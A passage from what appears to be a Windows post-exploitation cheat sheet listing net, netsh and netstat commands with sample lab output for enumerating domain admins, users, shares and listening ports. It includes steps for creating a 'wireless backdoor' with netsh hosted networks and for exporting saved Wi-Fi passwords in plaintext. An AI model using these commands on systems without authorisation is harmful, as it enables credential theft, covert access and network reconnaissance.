Lockout threshold: Never
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: PRIMARY
The command completed successfully.</code></div>
### Group
* **Command with arguments**: `net group "GROUPNAME" /domain`
* **Description**: Prints the members of the Administrators local group. The /domain switch can show you the list of current domain admins.
Note: This command can only be used on a Windows Domain Controller.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide ![](images/output.jpg)</div><div class="view"><code>C:\Users\johndoe>net group "domain admins"
Group name Domain Admins
Comment Designated administrators of the domain<br>
Members<br>
-------------------------------------------------------------------------------<br>
Administrator
The command completed successfully.</code></div>
### Local Group
* **Command with arguments**: `net localgroup "GROUPNAME" [/domain]`
* **Description**: Prints the members of the local group "GROUPNAME". The `/domain` switch can show you members of domain groups.
Note: This command can only be used on a Windows Domain Controller.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide ![](images/output.jpg)</div><div class="view"><code>C:\Users\johndoe>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain<br>
Members<br>
-------------------------------------------------------------------------------<br>
Administrator
Domain Admins
Enterprise Admins
johndoe
The command completed successfully.</code></div>
### Queries SMB Hosts/Domain
* **Command with arguments**: `net view [/domain | /domain:OTHERDOMAINNAME]`
* **Description**: Queries NBNS/SMB (SAMBA) and tries to find all hosts in the system's current workgroup. Add the `/domain` option if the current system is joined to a domain. To query a different domain, use the `/domain:OTHERDOMAINNAME` option.
* **Output**:
* (Coming soon!)
### Session
* **Command with arguments**: `net session`
* **Description**: Displays information about all connections to the computer.
Note: Needs to be launched within an administrative command shell.
* **Output**:
* (Coming soon!)
### Share
* **Command with arguments**: `net share`
* **Description**: Displays the system's currently shared SMB entries, and what path(s) they point to.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide ![](images/output.jpg)</div><div class="view"><code>C:\Users\johndoe>net share<br>
Share name Resource Remark<br>
-------------------------------------------------------------------------------<br>C$ C:\ Default share
IPC$ Remote IPC
ADMIN$ C:\Windows Remote Admin
NETLOGON C:\Windows\SYSVOL\sysvol\lab.sky.net\SCRIPTS Logon server share
SYSVOL C:\Windows\SYSVOL\sysvol Logon server share
The command completed successfully.</code></div>
### Users (List local/domain)
* **Command with arguments**: `net user [/domain]`
* **Description**: Lists the local users or, if the `/domain` option is passed, users on the computer's domain.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide ![](images/output.jpg)</div><div class="view"><code>C:\Users\johndoe>net user<br>
User accounts for \\WIN-0P19ULL2NB6<br>
-------------------------------------------------------------------------------<br>Administrator Guest johndoe<br>krbtgt<br>The command completed successfully. </code></div>
### Users (Detailed User Information)
* **Command with arguments**: `net user %USERNAME% [/domain]`
* **Description**: Lists detailed information about the current local user or, if the `/domain` option is passed, the account on the computer's domain. If it is a local user then drop the `/domain`. Important things to note are login times, last time changed password, logon scripts, and group membership. You may wish to run this twice, once with and once without the `/domain` switch to find both local and domain accounts.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide ![](images/output.jpg)</div><div class="view"><code>C:\Users\johndoe>net user johndoe
User name johndoe
Full Name John Doe
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never<br>
Password last set 10/10/2013 8:57:02 PM
Password expires 11/21/2013 8:57:02 PM
Password changeable 10/11/2013 8:57:02 PM
Password required Yes
User may change password Yes<br>
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/15/2013 6:53:42 PM<br>
Logon hours allowed All<br>
Local Group Memberships *Administrators *Users
Global Group memberships *Domain Users
The command completed successfully.</code></div>
----
## netsh
For more information: http://technet.microsoft.com/en-us/library/bb490939.aspx
### Network Services
* **Command with arguments**: `netsh diag show all`
* **Description**: Shows information on network services and adapters.
Note: Windows XP only.
* **Output**:
* (Coming soon!)
### Wireless Backdoor Creation
* **Command with arguments**:
1. `netsh wlan set hostednetwork mode=[allow\|disallow]`
1. `netsh wlan set hostednetwork ssid=<ssid> key=<passphrase> keyUsage=persistent\|temporary`
1. `netsh wlan [start|stop] hostednetwork`
* **Description**:
1. Enables or disables hostednetwork service.
1. Complete hosted network setup for creating a wireless backdoor.
1. Starts or stops a wireless backdoor. See below to set it up.
Note: Windows 7 only.
* **Output**:
* (Coming soon!)
### Wireless Profile Viewing
* **Command with arguments**: `netsh wlan show profiles`
* **Description**: Shows all saved wireless profiles. You may then export the info for those profiles with the other netsh commands listed here.
* **Output**:
* (Coming soon!)
### Wireless Profile Exporting
* **Command with arguments**: `netsh wlan export profile folder=. key=clear`
* **Description**: Exports a user wifi profile with the password in plaintext to an XML file in the current working directory.
* **Output**:
* (Coming soon!)
----
## netstat
For more information: http://technet.microsoft.com/en-us/library/bb490947.aspx
### Find Information about a specific Service
* **Command with arguments**: `netstat -nabo | findstr /I (SERVICE|PROCESS|PORT)`
* **Description**: If you are interested in finding out more information about a specific service, process or port this will provide greater depth of information. The `netstat -b` flag makes the command take longer but will output the process name using each of the connections.
Note: Needs to be launched within an administrative command shell due to the `-b`.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide ![](images/output.jpg)</div><div class="view"><code>C:\Windows\system32>netstat -nabo |findstr /I 445<br>
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP [::]:445 [::]:0 LISTENING 4
UDP 0.0.0.0:62445 *:* 1756
UDP 0.0.0.0:63445 *:* 1756
UDP [::]:49445 *:* 1756
UDP [::]:64445 *:* 1756
UDP [::]:64450 *:* 1756
UDP [::]:64451 *:* 1756</code></div>
### Find Listeners
* **Command with arguments**: `netstat -na | findstr :80`
* **Description**: Find all listening ports and connections on port 80 (replace 80 with your target such as `445` or `3389`).
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide ![](images/output.jpg)</div><div class="view"><code>C:\Users\johndoe>netstat -na | findstr :445
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP [::]:445 [::]:0 LISTENING</code></div>
### Find Listeners and Process IDs
* **Command with arguments**: `netstat -nao | findstr /I listening`
* **Description**: Find all listening ports and their associated PIDs (Process IDs). The `findstr /I` switch makes the search case insensitive. This could be important if you are looking for a buMPy service (example: `svchost` vs. `SVChost`) or don't know the case of it.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide ![](images/output.jpg)</div><div class="view"><code>C:\Users\johndoe>netstat -nao | findstr /I listening
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 592
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 908
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 592
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 592
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 908
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 592
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 592
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 592
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1208
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING 500
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING 984
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING 1056
TCP 0.0.0.0:49156 0.0.0.0:0 LISTENING 592
TCP 0.0.0.0:49157 0.0.0.0:0 LISTENING 592
TCP 0.0.0.0:49158 0.0.0.0:0 LISTENING 592
TCP 0.0.0.0:49161 0.0.0.0:0 LISTENING 1804
TCP 0.0.0.0:49169 0.0.0.0:0 LISTENING 1756
TCP 0.0.0.0:49170 0.0.0.0:0 LISTENING 580
TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1756
TCP 192.168.10.34:53 0.0.0.0:0 LISTENING 1756
TCP 192.168.10.34:139 0.0.0.0:0 LISTENING 4
TCP [::]:88 [::]:0 LISTENING 592
TCP [::]:135 [::]:0 LISTENING 908
TCP [::]:389 [::]:0 LISTENING 592
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:464 [::]:0 LISTENING 592
TCP [::]:593 [::]:0 LISTENING 908
TCP [::]:636 [::]:0 LISTENING 592</code></div>
### List Ports and Connections
* **Command with arguments**: `netstat -nabo`
* **Description**: Lists ports on and connections with the system with corresponding process (`-b`), without performing DNS lookup (`-n`), all connections (`-a`) and what is the owning process ID (`-o`). The `-b` switch is the switch in this command that requires elevated or admin privileges to execute. Omit it and you do not need to have an admin cmd shell.
Note: Needs to be launched within an administrative command shell.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide ![](images/output.jpg)</div><div class="view"><code>C:\Windows\system32>netstat -nabo<br>
Active Connections<br>
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 592
[lsass.exe]
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 908
RpcSs
[svchost.exe]
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 592
[lsass.exe]
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4<br>
Can not obtain ownership information<br>
x: Windows Sockets initialization failed: 5
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 592
[lsass.exe]
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 908
RpcSs
[svchost.exe]
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 592
[lsass.exe]
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 592
[lsass.exe]
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 592
[lsass.exe]
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1208
Dnscache</code></div>
### Routing Table
* **Command with arguments**: `netstat -r`
* **Description**: Displays the system's routing table.
* **Output**:
* <div class="slide" style="cursor: pointer;"> **Windows 2008:** Show/Hide ![](images/output.jpg)</div><div class="view"><code>C:\Users\johndoe>netstat -r<br>===========================================================================<br>Interface List<br> 10 ...00 0c 29 9a e2 26 ...... Intel(R) PRO/1000 MT Network Connection<br> 1 ........................... Software Loopback Interface 1<br> 12 ...00 00 00 00 00 00 00 e0 isatap.{DDE3DF3D-3417-4EBF-BF66-73BD3A64FF26}<br> 11 ...02 00 54 55 4e 01 ...... Teredo Tunneling Pseudo-Interface<br>===========================================================================<br><br>IPv4 Route Table<br>===========================================================================<br>Active Routes:<br>Network Destination Netmask Gateway Interface Metric<br> 0.0.0.0 0.0.0.0 192.168.10.1 192.168.10.34 266<br> 127.0.0.0 255.0.0.0 On-link 127.0.0.1 306<br> 127.0.0.1 255.255.255.255 On-link 127.0.0.1 306<br> 127.255.255.255 255.255.255.255 On-link 127.0.0.1 306<br> 192.168.10.0 255.255.255.0 On-link 192.168.10.34 266<br> 192.168.10.34 255.255.255.255 On-link 192.168.10.34 266<br> 192.168.10.255 255.255.255.255 On-link 192.168.10.34 266<br> 224.0.0.0 240.0.0.0 On-link 127.0.0.1 306<br> 224.0.0.0 240.0.0.0 On-link 192.168.10.34 266<br> 255.255.255.255 255.255.255.255 On-link 127.0.0.1 306<br> 255.255.255.255 255.255.255.255 On-link 192.168.10.34 266<br>===========================================================================<br>Persistent Routes:<br> Network Address Netmask Gateway Address Metric<br> 0.0.0.0 0.0.0.0 192.168.10.1 Default<br>===========================================================================<br><br>IPv6 Route Table<br>===========================================================================<br>Active Routes:<br> If Metric Network Destination Gateway<br> 1 306 ::1/128 On-link<br> 10 266 fe80::/64 On-link<br> 10 266 fe80::11bc:e019:25e5:916d/128<br> On-link<br> 1 306 ff00::/8 On-link<br> 10 266 ff00::/8 On-link<br>===========================================================================<br>Persistent Routes:<br> None</code></div>